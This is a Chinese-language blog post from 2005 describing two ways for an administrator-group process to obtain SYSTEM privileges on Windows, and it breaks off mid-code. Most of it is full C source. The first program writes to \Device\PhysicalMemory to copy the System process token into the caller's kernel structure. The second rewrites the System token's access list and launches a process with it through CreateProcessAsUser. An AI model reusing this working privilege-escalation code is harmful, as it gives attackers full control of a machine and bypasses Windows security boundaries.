Author : ZwelL
Blog : http://www.donews.net/zwell
Date : 2005.4.28
关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:
1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入，插入线程到系统进程，创建一新进程
这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务，带参数运行新进程
做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.
当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.
这里,我拿出两种新的方案来实现该功能:
第一种方法.我们先来看一下系统是如何进行权限检测的，
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证：
OpenProcessToken->NtOpenProcessToken－>PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
|->ObOpenObjectByPointer调用上面返回的TOKEN进行检查
也就是说，系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显：直接将System进程的Token拿过来，放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)
实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>
#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}
RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );
ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );
return TRUE;
}
VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;
if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}
if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}
CleanUp:
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}
if( !NT_SUCCESS( status ))
{
return NULL;
}
g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}
return g_hMPM;
}
PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
if(VAddr>=0x80000000 && VAddr<0xa0000000)
{
PAddr=VAddr-0x80000000;
return (PVOID)PAddr;
}
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;
return (PVOID)PAddr;
}
ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}
BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}
DWORD MyGetModuleBaseAddress( char * pModuleName)
{
PSYSTEM_MODULE_INFORMATION pSysModule;
ULONG uReturn;
ULONG uCount;
PCHAR pBuffer = NULL;
PCHAR pName = NULL;
NTSTATUS status;
UINT ui;
CHAR szBuffer[10];
DWORD pBaseAddress;
status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
pBuffer = ( PCHAR )malloc(uReturn);
if ( pBuffer )
{
status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
if( NT_SUCCESS(status) )
{
uCount = ( ULONG )*( ( ULONG * )pBuffer );
pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
for ( ui = 0; ui < uCount; ui++ )
{
pName = strstr( pSysModule->ImageName, pModuleName );
if( pName )
{
pBaseAddress = (DWORD)pSysModule->Base;
free( pBuffer );
return pBaseAddress;
}
pSysModule ++;
}
}
free( pBuffer );
}
return NULL;
}
DWORD GetEprocessFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
DWORD n;
DWORD retvalue=0;
buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return FALSE;
}
NumOfHandle = *(ULONG*)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
for(i = 0; i<NumOfHandle ;i++)
{
if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))
{
retvalue=(DWORD)(h_info[i].Object);
break;
}
}
if ( buf != NULL )
{
free( buf );
}
return retvalue;
}
void usage(char *exe)
{
printf("Usage : %s [exefile|-h]\n");
}
int main(int argc, char **argv)
{
HMODULE hDll;
DWORD tmp;
DWORD SystemEprocess;
DWORD SystemEprocessTokenValue;
DWORD CurrentEprocess;
DWORD CurrentEprocessTokenValue;
printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
printf("\tMade by ZwelL.\n");
printf("\tZwell@sohu.com.\n");
printf("\thttp://www.donews.net/zwell.\n");
printf("\tType -h to get more information\n", argv[0]);
if( argc>=2)
{
if(
( (strcmp(argv[1],"-h")==0) && (argc==2))
|| (argc>2)
)
{
usage(argv[0]);
exit(-1);
}
}
if (!InitNTDLL())
{
printf("InitNTDLL wrong\n");
exit(-1);
}
if (OpenPhysicalMemory()==0)
{
printf("OpenPhysicalMemory wrong\n");
exit(-1);
}
hDll = LoadLibrary("ntoskrnl.exe");
tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
SystemEprocess=GetData((PVOID)tmp);
tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token
printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);
OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));
printf("Current EPROCESS : %08x\n", CurrentEprocess);
printf("Current Process Token : %08x\nPress ENTER to continue...\n",
CurrentEprocessTokenValue);
//getchar();
SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
printf("Current Process Token : %08x\n",
GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
printf("Press ENTER to create process...\n");
//getchar();
if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
== GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))
)
// It is so surprised that SYSTEM's Token always in changing.
// So before create new process, we should ensure the TOKEN is all right
{
ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
}
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();
return 0;
}
在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).
=========================================================================================================
第二种方法，我们不自己创建进程，而是直接用System进程的Token来创建进程.看到这，大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息，最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".
下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:
#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32")
HANDLE OpenSystemProcess()
{
HANDLE hSnapshot = NULL;
HANDLE hProc = NULL;
__try
{
// Get a snapshot of the processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
__leave;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
// Find the "System" process
BOOL fProcess = Process32First(hSnapshot, &pe32);
while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
fProcess = Process32Next(hSnapshot, &pe32);
if (!fProcess)
{
printf("OpenSystemProcess Not Found SYSTEM");
__leave; // Didn't find "System" process
}
// Open the process with PROCESS_QUERY_INFORMATION access
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
pe32.th32ProcessID);
if (hProc == NULL)
{
printf("OpenSystemProcess OpenProcess Failed");
__leave;
}
}
__finally
{
// Cleanup the snapshot
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
return(hProc);
}
}
BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;
TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);
OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);
AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;
CloseHandle (hToken);
return rv;
}
#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))
BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
PACL pAcl = NULL;
PACL pNewAcl = NULL;
PACL pSacl = NULL;
PSID pSidOwner = NULL;
PSID pSidPrimary = NULL;
BOOL fSuccess = TRUE;
PSECURITY_DESCRIPTOR pSD = NULL;
__try
{
// Find the length of the security object for the kernel object
DWORD dwSDLength;
if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
&dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity GetKernelObjectSecurity Size Failed");
__leave;
}
// Allocate a buffer of that length
pSD = LocalAlloc(LPTR, dwSDLength);
if (pSD == NULL)
{
printf("ModifySecurity LocalAlloc Failed");
__leave;
}
// Retrieve the kernel object
if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
dwSDLength, &dwSDLength))
{
printf("ModifySecurity GetKernelObjectSecurity Failed");
__leave;
}
// Get a pointer to the DACL of the SD
BOOL fDaclPresent;
BOOL fDaclDefaulted;
if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
&fDaclDefaulted))
{
printf("ModifySecurity GetSecurityDescriptorDacl Failed");
__leave;
}
// Get the current user's name
TCHAR szName[1024];
DWORD dwLen = chDIMOF(szName);
if (!GetUserName(szName, &dwLen))
{
printf("ModifySecurity GetUserName Failed");
__leave;
}
// Build an EXPLICIT_ACCESS structure for the ace we wish to add.
EXPLICIT_ACCESS ea;
BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
// We are allocating a new ACL with a new ace inserted. The new
// ACL must be LocalFree'd
if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
{
printf("ModifySecurity SetEntriesInAcl Failed");
pNewAcl = NULL;
__leave;
}
// Find the buffer sizes we would need to make our SD absolute
pAcl = NULL;
dwSDLength = 0;
DWORD dwAclSize = 0;
DWORD dwSaclSize = 0;
DWORD dwSidOwnLen = 0;
DWORD dwSidPrimLen = 0;
PSECURITY_DESCRIPTOR pAbsSD = NULL;
if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
|| (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity MakeAbsoluteSD Size Failed");
__leave;
}
// Allocate the buffers
pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
{
printf("ModifySecurity Invalid SID Found");
__leave;
}
// And actually make our SD absolute
if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
{
printf("ModifySecurity MakeAbsoluteSD Failed");
__leave;
}
// Now set the security descriptor DACL
if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
fDaclDefaulted))
{
printf("ModifySecurity SetSecurityDescriptorDacl Failed");
__leave;
}
// And set the security for the object
if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
{
printf("ModifySecurity SetKernelObjectSecurity Failed");
__leave;
}
fSuccess = TRUE;
}
__finally
{
// Cleanup
if (pNewAcl == NULL)
LocalFree(pNewAcl);
if (pSD == NULL)
LocalFree(pSD);
if (pAcl == NULL)
LocalFree(pAcl);
if (pSacl == NULL)
LocalFree(pSacl);
if (pSidOwner == NULL)
LocalFree(pSidOwner);
if (pSidPrimary == NULL)
LocalFree(pSidPrimary);
if(!fSuccess)
{
printf("ModifySecurity exception caught in __finally");
}
return(fSuccess);
}
}
HANDLE GetLSAToken()
{
HANDLE hProc = NULL;
HANDLE hToken = NULL;
BOOL bSuccess = FALSE;
__try
{
// Enable the SE_DEBUG_NAME privilege in our process token
if (!EnablePrivilege(SE_DEBUG_NAME))
{
printf("GetLSAToken EnablePrivilege Failed");
__leave;
}
// Retrieve a handle to the "System" process
hProc = OpenSystemProcess();
if(hProc == NULL)
{
printf("GetLSAToken OpenSystemProcess Failed");
__leave;
}
// Open the process token with READ_CONTROL and WRITE_DAC access. We
// will use this access to modify the security of the token so that we
// retrieve it again with a more complete set of rights.
BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
&hToken);
if(FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}
// Add an ace for the current user for the token. This ace will add
// TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
| TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
{
printf("GetLSAToken ModifySecurity Failed");
__leave;
}
// Reopen the process token now that we have added the rights to
// query the token, duplicate it, and assign it.
fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
| TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
if (FALSE == fResult)
{
printf("GetLSAToken OpenProcessToken Failed");
__leave;
}
bSuccess = TRUE;
}
__finally
{
// Close the System process handle
if (hProc != NULL) CloseHandle(hProc);
if(bSuccess)
return hToken;
else
{
::CloseHandle(hToken);
return NULL;
}
}
}
#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \
DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \
DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)
#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \
WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \
WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \
WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \
WINSTA_READSCREEN | \
STANDARD_RIGHTS_REQUIRED)
#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)
BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);
BOOL AddAceToDesktop(HDESK hdesk, PSID psid);
BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
{
PWTS_PROCESS_INFO pProcessInfo = NULL;
DWORD ProcessCount = 0;
BOOL ret=FALSE;
if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
{
// dump each process description
for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
{
if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
{
//*ppsid = pProcessInfo[CurrentProcess].pUserSid;
DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
break;
if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
break;
}
ret=TRUE;
break;
}
}
WTSFreeMemory(pProcessInfo);
}
return ret;
}
BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
{
BOOL bSuccess = FALSE;
DWORD dwIndex;
DWORD dwLength = 0;
PTOKEN_GROUPS ptg = NULL;
// Verify the parameter passed in is not NULL.
if (NULL == ppsid)
goto Cleanup;
// Get required buffer size and allocate the TOKEN_GROUPS buffer.
if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
0, // size of buffer
&dwLength // receives required buffer size
))
{
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
goto Cleanup;
ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (ptg == NULL)
goto Cleanup;
}
// Get the token group information from the access token.
if (!GetTokenInformation(
hToken, // handle to the access token
TokenGroups, // get information about the token's groups
(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer
dwLength, // size of buffer
&dwLength // receives required buffer size
))
{
goto Cleanup;
}
// Loop through the groups to find the logon SID.
for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
== SE_GROUP_LOGON_ID)
{
// Found the logon SID; make a copy of it.
dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
*ppsid = (PSID) HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY, dwLength);
if (*ppsid == NULL)
goto Cleanup;
if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
goto Cleanup;
}
break;
}
bSuccess = TRUE;
Cleanup:
// Free the buffer for the token groups.
if (ptg != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);
return bSuccess;
}
VOID FreeLogonSID (PSID *ppsid)
{
HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
}
BOOL StartInteractiveClientProcess (
LPTSTR lpszUsername, // client to log on
LPTSTR lpszDomain, // domain of client's account
LPTSTR lpszPassword, // client's password
LPTSTR lpCommandLine, // command line to execute
HANDLE Token = NULL
)
{
HANDLE hToken;
HDESK hdesk = NULL;
HWINSTA hwinsta = NULL, hwinstaSave = NULL;
PROCESS_INFORMATION pi;
PSID pSid = NULL;
STARTUPINFO si;
BOOL bResult = FALSE;
// Log the client on to the local computer.
if(Token!=NULL)
{
printf("%08x\n", Token);
hToken = Token;
}
else if (!LogonUser(
lpszUsername,
lpszDomain,
lpszPassword,
LOGON32_LOGON_INTERACTIVE,
LOGON32_PROVIDER_DEFAULT,
&hToken) )
{
goto Cleanup;
}
// Save a handle to the caller's current window station.
if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)
goto Cleanup;
// Get a handle to the interactive window station.
hwinsta = OpenWindowStation(
"winsta0", // the interactive window station
FALSE, // handle is not inheritable
READ_CONTROL | WRITE_DAC); // rights to read/write the DACL
if (hwinsta == NULL)
goto Cleanup;
// To get the correct default desktop, set the caller's
// window station to the interactive window station.
if (!SetProcessWindowStation(hwinsta))
goto Cleanup;
// Get a handle to the interactive desktop.
hdesk = OpenDesktop(
"default", // the interactive window station
0, // no interaction with other desktop processes
FALSE, // handle is not inheritable
READ_CONTROL | // request the rights to read and write the DACL
WRITE_DAC |
DESKTOP_WRITEOBJECTS |
DESKTOP_READOBJECTS);
// Restore the caller's window station.
if (!SetProcessWindowStation(hwinstaSave))
goto Cleanup;
if (hdesk == NULL)
goto Cleanup;
// Get the SID for the client's logon session.
if (!GetLogonSID(hToken, &pSid))
goto Cleanup;
// Allow logon SID full access to interactive window station.
if (! AddAceToWindowStation(hwinsta, pSid) )
goto Cleanup;
// Allow logon SID full access to interactive desktop.
if (! AddAceToDesktop(hdesk, pSid) )
goto Cleanup;
// Impersonate client to ensure access to executable file.
if (! ImpersonateLoggedOnUser(hToken) )
goto Cleanup;
// Initialize the STARTUPINFO structure.
// Specify that the process runs in the interactive desktop.
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb= sizeof(STARTUPINFO);
si.lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop
// Launch the process in the client's logon session.
bResult = CreateProcessAsUser(
hToken, // client's access token
NULL, // file to execute
lpCommandLine, // command line
NULL, // pointer to process SECURITY_ATTRIBUTES
NULL, // pointer to thread SECURITY_ATTRIBUTES
FALSE, // handles are not inheritable
